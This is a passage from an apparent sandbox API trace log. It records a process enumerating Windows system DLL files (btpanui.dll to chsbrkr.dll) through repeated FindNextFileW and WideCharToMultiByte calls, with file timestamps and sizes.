ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.611] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x3ec288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0026.611] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x3ec120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0026.611] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.612] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.612] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x3ec288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0026.612] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.612] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.612] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.612] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.612] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0026.612] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0026.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.613] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.613] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x3ec288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0026.613] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.613] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x3ec288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0026.613] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x3ec120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0026.613] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.613] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x3ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0026.613] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0026.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.614] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.614] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.614] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.614] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, 